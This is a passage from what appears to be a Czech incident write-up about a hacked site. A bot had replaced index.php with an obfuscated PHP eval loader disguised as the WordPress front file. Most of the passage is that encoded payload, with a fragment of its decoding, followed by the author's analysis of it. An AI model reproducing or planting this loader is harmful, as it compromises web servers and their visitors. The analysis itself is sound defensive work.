TVVT1E5SmJBeVVPOWN6dHBraVlKK1AzcGtQb0tsTjJrMGlCMVhOWVNiUEJrTGloU3pVY1NLaW9wamdvQXJnQjlhTmNEOEMyaXlVdEsrc09wY3NiWDBXUnU2Q2M4dENJRUhRMHdod3Z3aEJjV0p3VkVLbzBYc1ExS3RvaDRJQ2NKYXBPMVhOT0VUTkk0dENjTmFwUlhqVU81WFVCUTdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZUzlmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycWJVMjUwSlJBMFpCcWtzaHBkVTJxeU5kVGNpQktJc2JXNlUzU2tVSVNhVWNTa1pPa3JXUkdYc1k5YlUyNTBzZHFJTmQ0dENJRWVXUkVGQ0lONkNjOHRDSUVIUTB3aHd2d2hCY1dKd1ZFS28wWHNRMUt0b2g0SUNjSmFwTzFYTk9FVE5JNHRDY05hcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZRTNpQkpsc2h1dmdSRTBOVjkzaUJKYXByZXlDY05hcE9XeVcyd0lDSU55TjJrMGlCMVhOWTVGZ1J1L2lPVjBpeDB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHB0V2tQZDB0Q0lFZVUzQTBDSU5iWk8xTHNoTmFwT0UwQ0lOYlVCVkZXUmtGaXgwdENJRWpQb1MwWm9Ta0NJTmJnUkUwTmYwdENJRWVXUkVGekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsZ0JQZWliOUZpQjRlcE8xWE5PRVROSTR0Q2NOYXBSWGpVTzVYVUJRTEpZcDNKSXZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFNFVCRmxzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9rYm5SQTBOYmtyV1JKZXBSWGpVWUZ0VWI4bFAzcGtQb0tsVUJWRnBjdlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44aWI5YVdZU3JXUmtMaXgwSVAyOUxVM0o2TmJ3dkpkNWFVY1NkTmJ3WFdZU2pQb3VYc1k5YlUyNTBzSU43ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0s3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxKWXVsSllFalpCaVRVT1Fsc2hTYlUzU2tVSWx2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaWhGbEp0TklueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiVzNwVFdPUWVwTzE1aWJrTGloRmxwUlhqVVl2N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxKYjlNc09wY3NJSmFwT1gwV1J1YUpkZXlDY0phcFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV0NJSnlKSTR2VUJWRmlPa2NDSU55cGM0dlpPMUxVYlZqaXhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWUo4UHRKK0pJNHZXMndJekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMWtVUkFrWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk9pZFVPOXJpaGx2VW9rYmdCcWtueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZTjhpYjlhV1lTcldSa0xpeDBJUDI5TFUzSjZOYnd2SmQ1ZE5id1hXWVNyZ29Fa1VCVkZKT2lYZ0Jxa0pENXlKVlNrTmIxVE4zQVRVMjVySnhGeWliOWFXZjQ4UHRKK2dSRTBOZmV5Q2NOYXBWOXhFd3BCRXdwVXAwWFF3VlNIaEQ5eHdZV1dDSUp5Skk0dlVCVkZpT2tjQ0lOeXBjNHZaTzFMVWJWaml4TEFZSXVsSll1bEpZdWxKWXVsSll1bEpZU2tQMlh5SllKOFB0SitKSTR2VzJ3SXpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPdzRnb0tlbnhMQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTVGlJWGJVM1NrVUlsdlpPMUxVYlZqaWhGbEp0TkluaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscFJYalVZdTlKUkVjZ0IwZU4yMXlXb0V2VWNsdlcyd0luaHY3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsZ0JQZU4zRWNnb0EwTklsdlpPMUxDWVdhVWNTZE5id1hXWVNqUG91dG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiNXlKT0FjaUJWMEpPMVhOWUQ4QzJpeVV0SytwckxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXZkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVM5ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE8xNWlia0xpaHU5Sk9peU5Pd2FuWUU0VUJxYVBCMWtDWXVJV2NKVHpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPaTNOYmswaWhsdlVva2JnQnFrQ1l1dlpPMUxueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNiUDJxeU4yUWVwTzE1aWJrTGlodjdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1SVUyTDhQdEorSkk0dmdSRTBOWTRJekk4eUpJNHZvMUFWUWtpVlFrTHRoVkVRUVY5SngxQVFwMTBhSkk4SUNJRTRVQnFhUEIxa3pGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhsSmRxSU5kNElDSUUzaUJKN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGlvWFRXWWxUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bGliQUxVM0FrbllFalpCaVRVT1FUekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93ZGdPOGxwcnFiVTI1MEpSQTBaQnFrc2hwZFUycXlOZFRjaUJLSXNiQWNpQlYwSlJBVFdPd2pQb3VsaWJWVFVPUWx4YjhsUU93Y1VCa3JOMmt5VXRHWHNZOWJVMjUwc2RxSU5kNHRDSUVlV1JFRkNJTjZDYzh0Q0lFSFEwd2h3dndoQmNXSndWRUtvMFhzUTFLdG9oNElDY0phcFJYalVPNVhVQlE3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdUlzT3Bjc0lKYXBSV2tQZExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWZLZWxKWXVsZ0JQZXBPa3Zub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxwUldrUEl1OUpZRWVXUkVGbzNXa1BJNHR6STh5cGM0dmkyOTNpQkphcGM5VFViRWtaWTVGZ1J1L1dvcExzaE5hcFJBVFdPUWFwY2lUaWYwdENJRVRpWTR0cHRFa1VvdTlwYzR2V093ak5ZNHRwYkUwc2hOYXBPRTBDSU5iVzJ3SXNoTmFwT1h5TjNLYXBjaTZaZDB0Q3RBamdvQUlVM0tlbmg0dHBiQUxVMkFNc2hOYXBPQUxVMkFNQ0lOYldvcFRzaE5hcFJBaldvcFRDSU5iV29wTE4yWFhVYk45cGM0dldvcExOMlhYVWJOYXBjaWVXUkVGc2hOYXBPWDBXUnU3ZktlbEpZdWxKWXVsSllFZVdPMUxvMkF5VXRFa1V0S2xzaFMwTmJram5SQWpVM3cwaU84ZXBSV2tQSXZUekYwbkpZdWxKWXVsSllTVGlJbFhOM0VjTjNFY25ZRWVXTzFMbzJBeVV0RWtVdEtMcDI1eVBiOTBXb0FrTmJWdGlCNTBwY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxwT1gwVUJxSFAyOWFXT3dhV1l1OUpSQTBOazljaW9TTFBCQWtuWXB5ZzJYMFVCcXRpb0VkVTI1MGlCNTBKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZRWVXTzFMbzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaW9YVFdZbFR6RjBuSll1bEpZdWxKWXVsSll1bEhCd0xOMlFsZ0JQZU4zRWNOM0VjbllFZVdPMUxvMkF5VXRFa1V0S0xwMldrV09BeVV0RWtVdEsxR2ZTRlBCV2twY3ZUWkYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSkRTZWlCVnZpb0plcDBYUXdWdXlHaDRxSmZRRkdZU3BVdEVrTmI1WFVZU3hpb3AyaW9KbEVvcGNVM0p0bnhMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1pPazBuWXY3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZLRkFSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEFmdTBKRDV5V1lTT1Uzd2FpWU5UekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZdDFrVVJBa1pGMG5mS2VsSll1bHBSV2tQSXU5SllFZVdSRUZvM1drUEk0dHpJOHlwYzR2aTI5M2lCSmFwYzlUVWJFa1pZNUZnUnUvV29wTHNoTmFwUkFUV09RYXBjaVRpZjB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHBiRTBzaE5hcE9FMENJTmJXMndJc2hOYXBPWHlOM0thcGNpNlpkMHRDdEFqZ29BSVUzS2VuaDR0cGJBTFUyQU1zaE5hcE9BTFUyQU1DSU5iV29wVHNoTmFwUkFqV29wVENJTmJXb3BMTjJYWFViTjlwYzR2V29wTE4yWFhVYk5hcGNpZVdSRUZzaE5hcE9YMFdSdTdmS2VsSll1bHBPWDBVQnFIUDI5YVdPd2FXWXU5SlJFY2dCMGVOMjF5V29FdlVjbHZXMndJbmh2N2ZLZWxKWXVsZ0JQZUpvQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVdhVTJweVdSd3Jpb3BYaTJ3YVdZTlRub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1dmdSRWpVVjlkVTI1MGlCNTBKZjBsTjNFY28zcGtOT3FYUDJRZUpiOU1nUkVqVU9Xa1dPQXlVdEVrVXRLSUNZTnRDWUVlV08xTG8yQXlVdEVrVXRLVHpGMG5KWXVsSll1bEpZdWxKWXVsaUJBZVVjdXZnUkVqVVY5ZFUyNTBpQjUwekYwbkpZdWxKWXVsSll1bEpZdWxpb1hUV1lsVHpGMG5KWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZRRkdSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVN1Z093WGlPd2NuWVdKd1ZFS0NyRGFHaHUxR2Z1bGhCNTBpb3BhUEJGbFEyd2NXYndjSkR3Y05iOWNwY3Y3ZktlbEpZdWxKWXVsSll1bEpZU2taT2swbll2N2ZLZWxKWXVsSll1bEpSMWtVUkFrSk9rYm5SQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVd0aW9FZFUyNTBpQjUwQWZ1ME5PVnRpaE5Ubm9MQVlJdWxKWXVsSll1bEpZdWxKRFNlaUJWdmlvSmVwMFhRd1Z1eUdoNHFKZktGQVlTelUzS2xFYjkxVWJLdG54TEFZSXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSEJ3TE4yUWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyV2tXT0F5VXRFa1V0S3JHZlZGUEJXa3BjdlRaRjBuSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEdydXFKRDF5V2J3dkpWU2tOYjFYVWJ3YVdPcTVwY3Y3ZktlbEpZdWxKWXVsSll1bEpZdXZnUkVqVVY5ZFUyNTBpQjUwSmYwbE4zRWNvM3BrTk9xWFAyUWVKYldrV09BeVV0RWtVdEtyR2ZWRlBCV2tKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpPWGtQQkVrTklsdHhPOWRQb0VUVTI0NkpZTmFwT1gwVUJxSFAyOWFXT3dhV1l2N2ZLZWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKUjBBWWwwbkpZdWxKUjBBWXQwQVlsMG5pdHdhUDNFVFUyNGxOMjFUTjJweVdZbFRKUkxBWUl1bEpZdXZQQldrVXRLbHNoU3JXUnAwVTJxeVcyd2NuWUVIUTB3aHd2d2hCY1dKd1ZFS28xd3hFd3BIS1FXVnhrS3RvaHY3ZktlbEpZdWxnQlBsbllFWGkyd2FXWXVYc2h1SUpJdmxaRjBuSll1bEpZdWxKWXV2aTI5eWkycWtLYjkwSmYwbFBvcGNQb3ZlSnZXeVUyV0xpQnB5V1lKTEpra1hnTzl5SmhTeFVSd2NOWUpMSmtrWGdPOXlKVkFMV29wRkpJRklFMjl5aTJxa0pEVnZRMndhTjJRSUNZV3RVMjl0VU9RdENZdXRaQlZlVTI4dG54TEFZSXVsSll1bEpZdWxpYjljaUJWZGdZdWVwT1d5VTJXTGlRcHlXWVNYTmN1dldiVkxuaFM3ZktlbEpZdWxKWXVsSll1bEpZdXZOM0VjSmYwbE4zRWNXTzlMVTNXa05JbHZXYlZMbnhMQVlJdWxKWXVsSll1bEpZdWxKT2tiSllYcldScEZVM0dlcE9WdGlCNTBDWXV2TjNFY25odmxaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWVM5ZktlbEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpScGtXUndjVUlTYlBCcXJpeExBWUl1bEpZUzlmS1Q5ZktUYldCNWRXT2t5VUlTclVCOTBnT3djUGI5MG5ZdmxaRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce. Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné). Další zajímavostí je snaha o zmatení čtenáře kódu proměnlivým používáním nul a óček v názvech pracovních proměnných pro překlad kódu (viz. $O00OO0) První věc co mě zajímala byl obsah base64 enkryptu, který byl evalován - https://www.base64decode.net/ $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYu